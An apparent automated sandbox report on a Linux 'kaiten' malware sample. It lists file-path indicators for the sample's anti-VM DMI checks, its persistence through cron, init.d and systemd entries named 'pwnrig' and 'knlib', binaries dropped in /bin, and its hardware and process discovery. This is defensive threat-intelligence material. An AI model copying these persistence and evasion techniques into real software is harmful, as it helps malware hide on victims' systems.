kaiten | 2f1854f309c913068700c0c3efec3a84ea48e62393df38bab9c8233053e2b19b

description	ioc	Process
File opened for reading	/proc/cpuinfo	Process not Found
File opened for reading	/proc/cpuinfo	Process not Found
File opened for reading	/proc/cpuinfo	grep
File opened for reading	/proc/cpuinfo	grep
File opened for reading	/proc/cpuinfo	Process not Found
File opened for reading	/proc/cpuinfo	grep
File opened for reading	/proc/cpuinfo	grep
File opened for reading	/proc/cpuinfo	Process not Found
File opened for reading	/proc/cpuinfo	Process not Found
File opened for reading	/proc/cpuinfo	Process not Found
File opened for reading	/proc/cpuinfo	grep
File opened for reading	/proc/cpuinfo	grep
File opened for reading	/proc/cpuinfo	grep
File opened for reading	/proc/cpuinfo	Process not Found
File opened for reading	/proc/cpuinfo	Process not Found
File opened for reading	/proc/cpuinfo	Process not Found
File opened for reading	/proc/cpuinfo	grep
File opened for reading	/proc/cpuinfo	grep
File opened for reading	/proc/cpuinfo	Process not Found
File opened for reading	/proc/cpuinfo	grep
File opened for reading	/proc/cpuinfo	grep
File opened for reading	/proc/cpuinfo	Process not Found
File opened for reading	/proc/cpuinfo	Process not Found
File opened for reading	/proc/cpuinfo	Process not Found
File opened for reading	/proc/cpuinfo	service-agent
File opened for reading	/proc/cpuinfo	grep
File opened for reading	/proc/cpuinfo	service-agent
File opened for reading	/proc/cpuinfo	service-agent
File opened for reading	/proc/cpuinfo	service-agent
File opened for reading	/proc/cpuinfo	service-agent
File opened for reading	/proc/cpuinfo	grep
File opened for reading	/proc/cpuinfo	Process not Found
File opened for reading	/proc/cpuinfo	Process not Found
File opened for reading	/proc/cpuinfo	grep
File opened for reading	/proc/cpuinfo	service-agent
File opened for reading	/proc/cpuinfo	Process not Found
File opened for reading	/proc/cpuinfo	Process not Found
File opened for reading	/proc/cpuinfo	Process not Found
File opened for reading	/proc/cpuinfo	Process not Found
File opened for reading	/proc/cpuinfo	service-agent
File opened for reading	/proc/cpuinfo	service-agent
File opened for reading	/proc/cpuinfo	Process not Found
File opened for reading	/proc/cpuinfo	Process not Found
File opened for reading	/proc/cpuinfo	Process not Found
File opened for reading	/proc/cpuinfo	grep
File opened for reading	/proc/cpuinfo	service-agent
File opened for reading	/proc/cpuinfo	grep
File opened for reading	/proc/cpuinfo	Process not Found
File opened for reading	/proc/cpuinfo	Process not Found
File opened for reading	/proc/cpuinfo	Process not Found
File opened for reading	/proc/cpuinfo	Process not Found
File opened for reading	/proc/cpuinfo	Process not Found
File opened for reading	/proc/cpuinfo	grep
File opened for reading	/proc/cpuinfo	service-agent
File opened for reading	/proc/cpuinfo	grep
File opened for reading	/proc/cpuinfo	service-agent
File opened for reading	/proc/cpuinfo	Process not Found
File opened for reading	/proc/cpuinfo	Process not Found
File opened for reading	/proc/cpuinfo	grep
File opened for reading	/proc/cpuinfo	grep
File opened for reading	/proc/cpuinfo	Process not Found
File opened for reading	/proc/cpuinfo	grep
File opened for reading	/proc/cpuinfo	grep
File opened for reading	/proc/cpuinfo	service-agent

Checks hardware identifiers (DMI) 1 TTPs 64 IoCs

Checks DMI information which indicate if the system is a virtual machine.

antivm

Virtualization/Sandbox Evasion

description	ioc	Process
File opened for reading	/sys/devices/virtual/dmi/id/sys_vendor	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/product_name	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/board_vendor	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/product_name	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/board_vendor	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/board_vendor	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/product_name	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/product_name	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/sys_vendor	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/sys_vendor	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/bios_vendor	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/product_name	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/product_name	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/bios_vendor	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/product_name	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/product_name	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/sys_vendor	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/sys_vendor	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/sys_vendor	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/product_name	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/board_vendor	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/sys_vendor	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/sys_vendor	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/bios_vendor	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/product_name	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/sys_vendor	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/sys_vendor	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/board_vendor	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/bios_vendor	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/board_vendor	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/bios_vendor	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/sys_vendor	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/product_name	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/bios_vendor	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/sys_vendor	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/sys_vendor	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/bios_vendor	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/board_vendor	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/board_vendor	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/board_vendor	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/bios_vendor	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/product_name	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/sys_vendor	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/product_name	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/product_name	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/product_name	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/product_name	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/bios_vendor	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/sys_vendor	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/bios_vendor	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/board_vendor	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/bios_vendor	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/bios_vendor	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/board_vendor	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/board_vendor	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/bios_vendor	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/sys_vendor	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/board_vendor	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/bios_vendor	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/product_name	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/board_vendor	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/bios_vendor	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/bios_vendor	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/sys_vendor	Process not Found

Creates/modifies Cron job 1 TTPs 54 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

persistence

Scheduled Task/Job

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.z6BXYp	crontab
File opened for modification	/etc/cron.d/.lib-knlib4	bin.elf
File opened for modification	/etc/cron.monthly/.lib-knlib4	bin.elf
File opened for modification	/etc/cron.monthly/.lib-knlib4	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.x35qQ4	Process not Found
File opened for modification	/etc/cron.d/pwnrig	Process not Found
File opened for modification	/etc/cron.d/pwnrig	tee
File opened for modification	/etc/cron.monthly/sedGqzl7n	Process not Found
File opened for modification	/var/spool/cron/.lib-knlib4	bin.elf
File opened for modification	/etc/cron.weekly/.lib-knlib4	bin.elf
File opened for modification	/etc/cron.d/sedBP8KE7	sed
File opened for modification	/etc/cron.monthly/sedo2wG7G	sed
File opened for modification	/etc/cron.weekly/sedFtbJbI	sed
File opened for modification	/var/spool/cron/crontabs/tmp.y8kWZw	crontab
File opened for modification	/etc/cron.hourly/.lib-knlib4	bin.elf
File opened for modification	/etc/cron.monthly/sed1W7VH6	sed
File opened for modification	/etc/cron.hourly/sedHaDe5D	sed
File opened for modification	/etc/cron.daily/.lib-knlib4	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.YyRHLQ	Process not Found
File opened for modification	/etc/cron.hourly/pwnrig	tee
File opened for modification	/etc/cron.monthly/pwnrig	tee
File opened for modification	/etc/cron.daily/sed3CDik7	sed
File opened for modification	/etc/cron.daily/sedtyjCmF	sed
File opened for modification	/etc/cron.d/.lib-knlib4	Process not Found
File opened for modification	/etc/cron.hourly/pwnrig	Process not Found
File opened for modification	/etc/cron.weekly/pwnrig	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.Um5hOz	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.bvPhct	crontab
File opened for modification	/etc/cron.daily/pwnrig	tee
File opened for modification	/etc/cron.hourly/pwnrig	tee
File opened for modification	/var/spool/cron/crontabs/tmp.uG1ODm	crontab
File opened for modification	/etc/cron.weekly/sedeHmIfp	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.K9QX4o	crontab
File opened for modification	/etc/cron.weekly/.lib-knlib4	Process not Found
File opened for modification	/etc/cron.daily/.lib-knlib4	bin.elf
File opened for modification	/etc/cron.weekly/sedXxaVK5	sed
File opened for modification	/var/spool/cron/crontabs/tmp.lZ8ZuQ	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.4CeyTO	crontab
File opened for modification	/etc/cron.monthly/pwnrig	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.aEH4AJ	Process not Found
File opened for modification	/etc/cron.hourly/sedLmNvR5	sed
File opened for modification	/etc/cron.d/sedykFjkI	sed
File opened for modification	/etc/cron.d/sedyK8Php	Process not Found
File opened for modification	/etc/cron.daily/sedFAsodp	Process not Found
File opened for modification	/etc/cron.daily/pwnrig	tee
File opened for modification	/etc/cron.hourly/.lib-knlib4	Process not Found
File opened for modification	/etc/cron.d/pwnrig	tee
File opened for modification	/etc/cron.weekly/pwnrig	tee
File opened for modification	/etc/cron.monthly/pwnrig	tee
File opened for modification	/etc/cron.weekly/pwnrig	tee
File opened for modification	/var/spool/cron/.lib-knlib4	Process not Found
File opened for modification	/etc/cron.daily/pwnrig	Process not Found
File opened for modification	/etc/cron.hourly/sed8vFBcn	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.76PZN8	Process not Found

Enumerates running processes
Discovers information about currently running processes on the system

Modifies init.d 1 TTPs 22 IoCs

Adds/modifies system service, likely for persistence.

persistence

Boot or Logon Autostart Execution

description	ioc	Process
File opened for modification	/etc/init.d/pwnrig	tee
File opened for modification	/etc/init.d/sedvpRQDA	sed
File opened for modification	/etc/init.d/pwnrig	Process not Found
File opened for modification	/etc/init.d/sedZA07xn	sed
File opened for modification	/etc/init.d/sedkLVPJv	sed
File opened for modification	/etc/init.d/pwnrig	tee
File opened for modification	/etc/init.d/sed4JhP4U	sed
File opened for modification	/etc/init.d/sedsCdbEH	Process not Found
File opened for modification	/etc/init.d/pwnrig	tee
File opened for modification	/etc/init.d/sednfoUuV	sed
File opened for modification	/etc/init.d/pwnrig	tee
File opened for modification	/etc/init.d/sedyqSebu	sed
File opened for modification	/etc/init.d/sedKEWDdL	Process not Found
File opened for modification	/etc/init.d/pwnrig	Process not Found
File opened for modification	/etc/init.d/knlib	bin.elf
File opened for modification	/etc/init.d/pwnrig	tee
File opened for modification	/etc/init.d/pwnrig	tee
File opened for modification	/etc/init.d/pwnrig	tee
File opened for modification	/etc/init.d/pwnrig	Process not Found
File opened for modification	/etc/init.d/pwnrig	Process not Found
File opened for modification	/etc/init.d/sedh6DgnZ	Process not Found
File opened for modification	/etc/init.d/sedSRbc20	sed

Modifies systemd 1 TTPs 23 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence

Boot or Logon Autostart Execution

description	ioc	Process
File opened for modification	/etc/systemd/system/pwnrige.service	tee
File opened for modification	/etc/systemd/system/pwnrige.service	tee
File opened for modification	/etc/systemd/system/pwnrige.service	Process not Found
File opened for modification	/etc/systemd/system/pwnrige.service	Process not Found
File opened for modification	/etc/systemd/system/pwnrige.service	tee
File opened for modification	/etc/systemd/system/pwnrige.service	tee
File opened for modification	/etc/systemd/system/pwnrige.service	tee
File opened for modification	/etc/systemd/system/pwnrige.service	tee
File opened for modification	/lib/systemd/system/pwnrigl.service	Process not Found
File opened for modification	/etc/systemd/system/pwnrige.service	Process not Found
File opened for modification	/lib/systemd/system/pwnrigl.service	Process not Found
File opened for modification	/lib/systemd/system/pwnrigl.service	tee
File opened for modification	/lib/systemd/system/pwnrigl.service	tee
File opened for modification	/lib/systemd/system/pwnrigl.service	tee
File opened for modification	/lib/systemd/system/pwnrigl.service	Process not Found
File opened for modification	/etc/systemd/system/pwnrige.service	Process not Found
File opened for modification	/lib/systemd/system/pwnrigl.service	Process not Found
File opened for modification	/etc/systemd/system/pwnrige.service	Process not Found
File opened for modification	/etc/systemd/system/knlibe.service	bin.elf
File opened for modification	/lib/systemd/system/pwnrigl.service	tee
File opened for modification	/lib/systemd/system/pwnrigl.service	tee
File opened for modification	/lib/systemd/system/pwnrigl.service	Process not Found
File opened for modification	/lib/systemd/system/pwnrigl.service	tee

Reads CPU attributes 1 TTPs 64 IoCs

System Information Discovery

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/types	service-agent
File opened for reading	/sys/devices/system/cpu/types	service-agent
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/types	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/types	service-agent
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/types	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/possible	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/types	service-agent
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	service-agent
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/types	service-agent
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/possible	service-agent
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/possible	Process not Found
File opened for reading	/sys/devices/system/cpu/types	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	service-agent
File opened for reading	/sys/devices/system/cpu/online	service-agent
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/possible	service-agent
File opened for reading	/sys/devices/system/cpu/possible	service-agent
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/types	Process not Found
File opened for reading	/sys/devices/system/cpu/possible	Process not Found
File opened for reading	/sys/devices/system/cpu/possible	Process not Found
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/possible	Process not Found
File opened for reading	/sys/devices/system/cpu/online	Process not Found
File opened for reading	/sys/devices/system/cpu/online	pkill

Reads hardware information 1 TTPs 64 IoCs

Accesses system info like serial numbers, manufacturer names etc.

System Information Discovery

description	ioc	Process
File opened for reading	/sys/devices/virtual/dmi/id/board_version	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/product_uuid	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/board_version	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/product_serial	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/board_name	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/chassis_serial	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/chassis_version	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/bios_date	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/board_serial	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/board_serial	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/product_version	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/board_name	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/product_serial	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/board_asset_tag	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/bios_date	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/chassis_version	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/chassis_asset_tag	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/board_name	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/chassis_vendor	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/product_version	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/chassis_serial	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/board_version	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/board_version	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/chassis_serial	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/chassis_asset_tag	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/chassis_type	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/product_version	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/board_name	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/chassis_vendor	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/bios_version	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/chassis_type	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/chassis_type	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/chassis_vendor	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/product_serial	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/board_serial	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/product_serial	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/chassis_serial	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/product_serial	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/product_version	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/chassis_vendor	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/board_version	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/board_version	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/product_serial	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/chassis_asset_tag	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/bios_version	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/chassis_vendor	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/board_version	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/chassis_asset_tag	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/bios_date	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/board_name	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/chassis_version	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/board_serial	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/chassis_version	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/product_serial	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/board_version	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/board_version	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/chassis_asset_tag	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/bios_version	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/board_serial	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/chassis_asset_tag	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/board_serial	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id/bios_version	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/board_version	service-agent
File opened for reading	/sys/devices/virtual/dmi/id/product_uuid	service-agent

Writes file to system bin folder 1 TTPs 39 IoCs

Hijack Execution Flow

description	ioc	Process
File opened for modification	/bin/bprofr	cp
File opened for modification	/bin/sysdr	cp
File opened for modification	/bin/bprofr	Process not Found
File opened for modification	/bin/crondr	Process not Found
File opened for modification	/bin/initdr	Process not Found
File opened for modification	/bin/initdr	Process not Found
File opened for modification	/bin/bprofr	Process not Found
File opened for modification	/bin/initdr	Process not Found
File opened for modification	/bin/sysdr	cp
File opened for modification	/bin/sysdr	cp
File opened for modification	/bin/bprofr	cp
File opened for modification	/bin/initdr	cp
File opened for modification	/bin/knlib5	bin.elf
File opened for modification	/bin/crondr	cp
File opened for modification	/bin/initdr	cp
File opened for modification	/bin/bprofr	cp
File opened for modification	/bin/sysdr	cp
File opened for modification	/bin/bprofr	cp
File opened for modification	/bin/initdr	cp
File opened for modification	/bin/initdr	Process not Found
File opened for modification	/bin/crondr	cp
File opened for modification	/bin/sysdr	cp
File opened for modification	/bin/sysdr	Process not Found
File opened for modification	/bin/sysdr	Process not Found
File opened for modification	/bin/bprofr	Process not Found
File opened for modification	/bin/sysdr	Process not Found
File opened for modification	/bin/sysdr	Process not Found
File opened for modification	/bin/initdr	cp
File opened for modification	/bin/sysdr	cp
File opened for modification	/bin/bprofr	cp
File opened for modification	/bin/bprofr	Process not Found
File opened for modification	/bin/initdr	cp
File opened for modification	/bin/crondr	Process not Found
File opened for modification	/bin/sysdr	Process not Found
File opened for modification	/bin/bprofr	cp
File opened for modification	/bin/bprofr	cp
File opened for modification	/bin/bprofr	Process not Found
File opened for modification	/bin/initdr	cp
File opened for modification	/bin/initdr	cp

Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

System Information Discovery

description	ioc	Process
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index1/shared_cpu_map	Process not Found
File opened for reading	/sys/devices/system/node/online	Process not Found
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index0/physical_line_partition	Process not Found
File opened for reading	/sys/bus/cpu/devices/cpu0/cpufreq/base_frequency	service-agent
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index3/type	service-agent
File opened for reading	/sys/bus/dax/devices	service-agent
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index0/coherency_line_size	service-agent
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index2/coherency_line_size	service-agent
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index2/type	service-agent
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index0/number_of_sets	service-agent
File opened for reading	/sys/bus/cpu/devices/cpu0/cpufreq/cpuinfo_max_freq	service-agent
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index2/shared_cpu_map	Process not Found
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index9/shared_cpu_map	Process not Found
File opened for reading	/sys/bus/node/devices/node0/hugepages/hugepages-2048kB/nr_hugepages	service-agent
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index3/number_of_sets	service-agent
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index0/coherency_line_size	service-agent
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index2/coherency_line_size	service-agent
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index3/physical_line_partition	Process not Found
File opened for reading	/sys/devices/system/node/online	Process not Found
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index4/shared_cpu_map	Process not Found
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index2/size	service-agent
File opened for reading	/sys/bus/cpu/devices/cpu0/topology/core_id	service-agent
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index0/coherency_line_size	service-agent
File opened for reading	/sys/bus/node/devices/node0/access0/initiators/read_bandwidth	service-agent
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index2/number_of_sets	Process not Found
File opened for reading	/sys/bus/node/devices/node0/meminfo	Process not Found
File opened for reading	/sys/bus/node/devices/node0/cpumap	Process not Found
File opened for reading	/sys/bus/dax/devices/target_node	service-agent
File opened for reading	/sys/bus/node/devices/node0/access1/initiators	service-agent
File opened for reading	/sys/kernel/mm/hugepages	service-agent
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index2/number_of_sets	service-agent
File opened for reading	/sys/bus/dax/devices	service-agent
File opened for reading	/sys/bus/node/devices/node0/access1/initiators	Process not Found
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index0/number_of_sets	Process not Found
File opened for reading	/sys/devices/virtual/dmi/id	Process not Found
File opened for reading	/sys/bus/node/devices/node0/access0/initiators	service-agent
File opened for reading	/sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67	systemctl
File opened for reading	/sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67	systemctl
File opened for reading	/sys/fs/cgroup/cpuset/cpuset.mems	Process not Found
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index3/coherency_line_size	Process not Found
File opened for reading	/sys/bus/node/devices/node0/hugepages/hugepages-2048kB/nr_hugepages	Process not Found
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index6/shared_cpu_map	service-agent
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index2/size	service-agent
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index1/type	Process not Found
File opened for reading	/sys/bus/dax/target_node	service-agent
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index1/level	Process not Found
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index0/physical_line_partition	Process not Found
File opened for reading	/sys/bus/node/devices/node0/access0/initiators	Process not Found
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index3/number_of_sets	Process not Found
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index8/shared_cpu_map	service-agent
File opened for reading	/sys/bus/node/devices/node0/access1/initiators	service-agent
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index2/shared_cpu_map	service-agent
File opened for reading	/sys/firmware/efi/efivars/SystemdOptions-8cf2644b-4b0b-428f-9387-6d876050dc67	Process not Found
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index2/type	Process not Found
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index0/coherency_line_size	Process not Found
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index1/shared_cpu_map	service-agent
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index0/shared_cpu_map	service-agent
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index0/level	Process not Found
File opened for reading	/sys/bus/cpu/devices/cpu0/topology/die_cpus	service-agent
File opened for reading	/sys/fs/cgroup/cpuset/cpuset.cpus	Process not Found
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index6/shared_cpu_map	Process not Found
File opened for reading	/sys/bus/cpu/devices/cpu0/cache/index2/shared_cpu_map	service-agent
File opened for reading	/sys/bus/dax/devices	service-agent
File opened for reading	/sys/bus/node/devices/node0/hugepages/hugepages-2048kB/nr_hugepages	service-agent

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/22/status	ps
File opened for reading	/proc/503/status	Process not Found
File opened for reading	/proc/102/stat	Process not Found
File opened for reading	/proc/802/cmdline	pgrep
File opened for reading	/proc/982/status	ps
File opened for reading	/proc/440/status	ps
File opened for reading	/proc/1082/cmdline	pkill
File opened for reading	/proc/1762/stat	ps
File opened for reading	/proc/14/cmdline	ps
File opened for reading	/proc/1124/stat	ps
File opened for reading	/proc/397/status	Process not Found
File opened for reading	/proc/167/status	ps
